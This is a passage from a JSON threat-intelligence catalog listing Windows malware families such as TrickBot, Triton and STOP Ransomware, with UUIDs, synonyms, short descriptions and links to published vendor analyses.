          "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
          "https://www.accenture.com/t00010101T000000Z__w__/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf",
          "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
        ],
        "synonyms": [
          "BIRDDOG",
          "Nadrac"
        ],
        "type": []
      },
      "uuid": "da34bf80-6dc6-4b07-8094-8bed2c1176ec",
      "value": "SocksBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot",
          "https://www.welivesecurity.com/2013/09/25/win32napolar-a-new-bot-on-the-block/",
          "https://blog.malwarebytes.com/threat-analysis/2013/09/new-solarbot-malware-debuts-creator-publicly-advertising/"
        ],
        "synonyms": [
          "Napolar"
        ],
        "type": []
      },
      "uuid": "d61a1656-9413-46de-bd19-c7fe5eda3371",
      "value": "Solarbot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya",
          "https://www.codeandsec.com/Soraya-Malware-Analysis-Dropper",
          "https://www.arbornetworks.com/blog/asert/the-best-of-both-worlds-soraya/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "26aa3c43-5049-4a2e-bec1-9709b31a1a26",
      "value": "soraya"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sorgu",
          "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bc135ba5-637b-46c9-94fc-2eef5e018bb5",
      "value": "Sorgu"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite",
          "https://attack.mitre.org/wiki/Software/S0157",
          "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
          "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/",
          "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx"
        ],
        "synonyms": [
          "denis"
        ],
        "type": []
      },
      "uuid": "f4cac204-3d3f-4bb6-84bd-fc27b2f5158c",
      "value": "SOUNDBITE"
    },
    {
      "description": "SPACESHIP searches for files with a specified set of file extensions and copies them to\r\na removable drive. FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive,\r\nwhich could be used to infect another victim computer, including an air-gapped computer. SPACESHIP is\r\nthen used to steal documents from the air-gapped system, copying them to a removable drive inserted\r\ninto the SPACESHIP-infected system",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "813e2761-6d68-493f-846b-2fc86d2e8079",
      "value": "SPACESHIP"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear",
          "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bd29030e-d440-4842-bc2a-c173ed938da4",
      "value": "Spedear"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom",
          "https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/",
          "https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/",
          "https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas",
          "https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware",
          "https://github.com/MinervaLabsResearch/SporaVaccination",
          "http://malware-traffic-analysis.net/2017/01/17/index2.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7eeafa7c-0282-4667-bb1a-5ebc3a845d6d",
      "value": "Spora"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "34e9d701-22a1-4315-891d-443edd077abf",
      "value": "SpyBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.spynet_rat"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1628467f-cad5-453c-a5da-a4f543747d58",
      "value": "win.spynet_rat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirtdanger",
          "https://researchcenter.paloaltonetworks.com/2018/04/unit42-squirtdanger-swiss-army-knife-malware-veteran-malware-author-thebottle/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "858a2cdb-9c89-436a-b8d4-60c725c7ac63",
      "value": "SquirtDanger"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm",
          "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf",
          "https://securelist.com/analysis/publications/69953/the-naikon-apt/",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "009db412-762d-4256-8df9-eb213be01ffd",
      "value": "SslMM"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq",
          "http://contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html",
          "https://www.symantec.com/connect/blogs/trojanstabuniq-found-financial-institution-servers"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "faa2196f-df4c-454c-995e-ded7864d5fa8",
      "value": "Stabuniq"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.stampedo",
          "https://www.bleepingcomputer.com/news/security/stampado-ransomware-campaign-decrypted-before-it-started/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b1efbadf-26e5-4e35-8fd2-61642c30ecbf",
      "value": "Stampedo"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft",
          "https://securelist.com/operation-daybreak/75100/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "acd8fc63-c22a-4c11-907e-33e358fdd293",
      "value": "StarCruft"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.starloader",
          "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f1decba9-6b3b-4636-a2b6-2208e178591a",
      "value": "StarLoader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6df9bbd4-ab32-4d09-afdb-97eed274520a",
      "value": "StarsyPound"
    },
    {
      "description": "Potentially unwanted program that changes the startpage of browsers to induce ad impressions.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage",
          "https://www.bleepingcomputer.com/virus-removal/remove-search-searchetan.com-chrome-new-tab-page"
        ],
        "synonyms": [
          "Easy Television Access Now"
        ],
        "type": []
      },
      "uuid": "033dbef5-eb51-4f7b-87e6-6dc4bef72841",
      "value": "StartPage"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealthworker",
          "https://blog.malwarebytes.com/threat-analysis/2019/02/new-golang-brute-forcer-discovered-amid-rise-e-commerce-attacks/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d1c5a299-c072-44b5-be31-d03853bca5ea",
      "value": "StealthWorker Go"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader",
          "https://www.secureworks.com/research/stegoloader-a-stealthy-information-stealer"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "aea21616-061d-4177-9512-8887853394ed",
      "value": "StegoLoader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "82ab5235-a71e-4692-a08c-8db337d8b53a",
      "value": "Stinger"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.stop",
          "https://securelist.com/keypass-ransomware/87412/",
          "https://www.bleepingcomputer.com/news/security/djvu-ransomware-spreading-new-tro-variant-through-cracks-and-adware-bundles/"
        ],
        "synonyms": [
          "Djvu",
          "KeyPass"
        ],
        "type": []
      },
      "uuid": "447e5d7d-dd23-43b3-8cbc-b835498a49dd",
      "value": "STOP Ransomware"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.stration"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0439c5ec-306e-4473-84f7-50bdb5539fc2",
      "value": "Stration"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint",
          "https://arstechnica.com/information-technology/2018/04/tens-of-thousands-of-facebook-accounts-compromised-in-days-by-malware/",
          "https://www.bleepingcomputer.com/news/security/stresspaint-malware-steals-facebook-credentials-and-session-cookies/",
          "https://security.radware.com/malware/stresspaint-malware-targeting-facebook-credentials/",
          "https://blog.radware.com/security/2018/04/stresspaint-malware-campaign-targeting-facebook-credentials/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "00dedcea-4f87-4b6d-b12d-7749281b1366",
      "value": "Stresspaint"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity",
          "https://twitter.com/physicaldrive0/status/786293008278970368",
          "https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/",
          "https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/",
          "https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "da2969f2-01e9-4ca8-b2f3-5fc9a9891d57",
      "value": "StrongPity"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet",
          "http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html",
          "https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6ad84f52-0025-4a9d-861a-65c870f47988",
      "value": "Stuxnet"
    },
    {
      "description": "",
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      },
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    },
    {
      "description": "TinyMet is a meterpreter stager.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet",
          "https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/"
        ],
        "synonyms": [
          "TiniMet"
        ],
        "type": []
      },
      "uuid": "075c6fa0-e670-4fe1-be8b-b8b13714cb58",
      "value": "TinyMet"
    },
    {
      "description": "TinyNuke (aka Nuclear Bot) is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. It was for sale on underground marketplaces for $2500 in 2016. The program's author claimed the malware was written from scratch, but that it functioned similarly to the ZeuS banking trojan in that it could steal passwords and inject arbitrary content when victims visited banking Web sites. However, he then proceeded to destroy his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke",
          "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4596",
          "https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702",
          "https://www.bitsighttech.com/blog/break-out-of-the-tinynuke-botnet",
          "https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html",
          "https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/",
          "https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/",
          "https://krebsonsecurity.com/tag/nuclear-bot/",
          "https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/"
        ],
        "synonyms": [
          "MicroBankingTrojan",
          "Nuclear Bot",
          "NukeBot",
          "Xbot"
        ],
        "type": []
      },
      "uuid": "5a78ec38-8b93-4dde-a99e-0c9b77674838",
      "value": "TinyNuke"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon",
          "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d2414f4a-1eda-4d80-84d3-ed130ca14e3c",
      "value": "TinyTyphon"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyzbot",
          "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b933634f-81d0-41ef-bf2f-ea646fc9e59c",
      "value": "TinyZbot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c34091df-0df2-4ef6-bf69-c67eb711f6d8",
      "value": "Tiop"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee",
          "https://www.cert.pl/en/news/single/tofsee-en/",
          "https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/",
          "https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/"
        ],
        "synonyms": [
          "Gheg"
        ],
        "type": []
      },
      "uuid": "53e617fc-d71e-437b-a1a1-68b815d1ff49",
      "value": "Tofsee"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker",
          "http://www.isightpartners.com/2014/08/analysis-torrentlocker-new-strain-malware-using-components-cryptolocker-cryptowall/",
          "http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7f6cd579-b021-4896-80da-fcc07c35c8b2",
      "value": "TorrentLocker"
    },
    {
      "description": "tRat is a modular RAT written in Delphi and has appeared in campaigns in September and October of 2018.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.trat",
          "https://www.proofpoint.com/us/threat-insight/post/trat-new-modular-rat-appears-multiple-email-campaigns"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b9e6e4bd-57e8-44e7-853c-8dcb83c26079",
      "value": "tRat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter",
          "https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html",
          "https://www.flashpoint-intel.com/blog/treasurehunter-source-code-leaked/",
          "http://adelmas.com/blog/treasurehunter.php"
        ],
        "synonyms": [
          "huntpos"
        ],
        "type": []
      },
      "uuid": "f9d85edd-caa9-4134-9396-4575e70b10f2",
      "value": "TreasureHunter"
    },
    {
      "description": "A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tactics. Has multiple modules including VNC and Socks5 Proxy. Uses SSL for C2 communication.\r\n\r\n- Q4 2016 - Detected in wild\r\nOct 2016 - 1st Report\r\nJan 2018 - Use XMRIG (Monero) miner\r\nFeb 2018 - Theft Bitcoin\r\nMar 2018 - Unfinished ransomware module\r\n\r\nInfection Vector\r\n1. Phish > Link MS Office > Macro Enabled > Downloader > Trickbot\r\n2. Phish > Attached MS Office > Marco Enabled > Downloader > Trickbot\r\n3. Phish > Attached MS Office > Marco enabled > Trickbot installed",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot",
          "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware",
          "https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/",
          "http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/",
          "http://www.vkremez.com/2017/12/lets-learn-introducing-new-trickbot.html",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module",
          "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre",
          "https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/",
          "http://www.peppermalware.com/2019/03/quick-analysis-of-trickbot-sample-with.html",
          "https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/",
          "https://www.youtube.com/watch?v=KMcSAlS9zGE",
          "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/",
          "https://www.arbornetworks.com/blog/asert/trickbot-banker-insights/",
          "https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/Tale-of-the-Two-Payloads-%E2%80%93-TrickBot-and-Nitol/",
          "http://www.vkremez.com/2018/04/lets-learn-trickbot-implements-network.html",
          "https://securityintelligence.com/trickbot-takes-to-latin-america-continues-to-expand-its-global-reach/",
          "https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-2-loader",
          "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html",
          "https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/",
          "https://blog.fraudwatchinternational.com/malware/trickbot-malware-works",
          "https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/",
          "https://f5.com/labs/articles/threat-intelligence/malware/trickbot-expands-global-targets-beyond-banks-and-payment-processors-to-crms",
          "https://f5.com/labs/articles/threat-intelligence/malware/little-trickbot-growing-up-new-campaign-24412",
          "https://github.com/JR0driguezB/malware_configs/tree/master/TrickBot",
          "https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html",
          "https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/",
          "https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html",
          "https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf",
          "https://blogs.forcepoint.com/security-labs/trickbot-spread-necurs-botnet-adds-nordic-countries-its-targets",
          "http://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot",
          "https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/",
          "http://www.malware-traffic-analysis.net/2018/02/01/",
          "https://www.cert.pl/en/news/single/detricking-trickbot-loader/",
          "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/evolving-trickbot-adds-detection-evasion-and-screen-locking-features",
          "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/",
          "http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html",
          "https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-3-core",
          "https://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html",
          "https://www.youtube.com/watch?v=EdchPEHnohw",
          "https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html",
          "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html",
          "https://www.vkremez.com/2018/11/lets-learn-introducing-latest-trickbot.html",
          "https://www.youtube.com/watch?v=lTywPmZEU1A",
          "https://qmemcpy.github.io/post/reverse-engineering-malware-trickbot-part-1-packer",
          "https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf",
          "https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/"
        ],
        "synonyms": [
          "TheTrick",
          "TrickLoader",
          "Trickster"
        ],
        "type": []
      },
      "uuid": "c824813c-9c79-4917-829a-af72529e8329",
      "value": "TrickBot"
    },
    {
      "description": "Malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety Instrumented System (SIS) controllers.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.triton",
          "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware",
          "https://dragos.com/blog/trisis/TRISIS-01.pdf",
          "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html",
          "https://github.com/ICSrepo/TRISIS-TRITON-HATMAN",
          "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html",
          "https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf"
        ],
        "synonyms": [
          "HatMan",
          "Trisis"
        ],
        "type": []
      },
      "uuid": "79606b2b-72f0-41e3-8116-1093c1f94b15",
      "value": "Triton"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat",
          "https://github.com/5loyd/trochilus/",
          "https://asert.arbornetworks.com/uncovering-the-seven-pointed-dagger/",
          "https://github.com/m0n0ph1/malware-1/tree/master/Trochilus",
          "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1c3ee140-8c47-4aa7-9723-334ccd886c4e",
      "value": "Trochilus RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh",
          "https://securelist.com/the-shade-encryptor-a-double-threat/72087/",
          "https://www.welivesecurity.com/2019/01/28/russia-hit-new-wave-ransomware-spam/",
          "https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/",
          "https://blogs.technet.microsoft.com/mmpc/2016/07/13/troldesh-ransomware-influenced-by-the-da-vinci-code/",
          "https://support.kaspersky.com/13059"
        ],
        "synonyms": [
          "Shade"
        ],
        "type": []
      },
      "uuid": "41acd50d-e602-41a9-85e7-c091fb4bc126",
      "value": "Troldesh"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.trump_ransom"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "48deadcc-1a67-442d-b181-fdaaa337c4bb",
      "value": "Trump Ransom"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.tsifiri"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3da6f62c-9e06-4e7b-8852-7c7689f65833",
      "value": "Tsifiri"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup",
          "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
          "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fab34d66-5668-460a-bc0f-250b9417cdbf",
      "value": "TURNEDUP"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.tyupkin",
          "https://www.lastline.com/labsblog/tyupkin-atm-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c28e9055-b656-4b7a-aa91-fe478a83fe4c",
      "value": "Tyupkin"
    },
    {
      "description": "A toolkit maintained by hfiref0x which incorporates numerous UAC bypass techniques for Windows 7 - Windows 10. Typically, components of this tool are stripped out and reused by malicious actors.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme",
          "https://github.com/hfiref0x/UACME"
        ],
        "synonyms": [
          "Akagi"
        ],
        "type": []
      },
      "uuid": "ccde5b0d-fe13-48e6-a6f4-4e434ce29371",
      "value": "UACMe"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos",
          "https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html",
          "https://blogs.forcepoint.com/security-labs/udpos-exfiltrating-credit-card-data-dns"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5d05d81d-a0f8-496d-9a80-9b04fe3019fc",
      "value": "UDPoS"
    },
    {
      "description": "Information stealer.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer",
          "https://twitter.com/malwrhunterteam/status/1096363455769202688",
          "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Usteal"
        ],
        "synonyms": [
          "Usteal"
        ],
        "type": []
      },
      "uuid": "a24bf6d9-e177-44f2-9e61-8cf3566e45eb",
      "value": "UFR Stealer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.uiwix",
          "https://www.minerva-labs.com/post/uiwix-evasive-ransomware-exploiting-eternalblue"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5e362cd1-bc5c-4225-b820-00ec7ebebadd",
      "value": "Uiwix"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "72961adc-ace1-4593-99f1-266119ddeccb",
      "value": "Unidentified 001"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0e435b5d-37df-47cc-a1c4-1afb82df83d1",
      "value": "Unidentified 003"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_005"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "29e32ea9-8e10-4c50-a4dc-1642066a3df2",
      "value": "win.unidentified_005"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_006"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c0a40d42-33bb-4eca-8121-f636aeec14c6",
      "value": "Unidentified 006"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_013_korean_malware",
          "http://blog.talosintelligence.com/2017/02/korean-maldoc.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b1cc4c79-30a5-485d-bd7f-8625c1cb5956",
      "value": "Unidentified 013 (Korean)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_020_cia_vault7",
          "https://wikileaks.org/ciav7p1/cms/page_34308128.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "40c66571-164c-4050-9c84-f37c9cd84055",
      "value": "Unidentified 020 (Vault7)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_022_ransom"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5424d89e-1b7a-4632-987b-67fd27621d6f",
      "value": "Unidentified 022 (Ransom)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_023"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a936a595-f03d-4d8c-848e-2a3525c0415b",
      "value": "Unidentified 023"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_024_ransom",
          "https://twitter.com/malwrhunterteam/status/789161704106127360"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "acf6c476-847c-477a-b640-18a5c99e3c2b",
      "value": "Unidentified 024 (Ransomware)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_025_clickfraud",
          "http://malware-traffic-analysis.net/2016/05/09/index.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f43a0e38-2394-4538-a123-4a0457096058",
      "value": "Unidentified 025 (Clickfraud)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_028"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "22a686d8-dd35-4a29-9437-b0ce7b5c204b",
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    {
      "description": "",
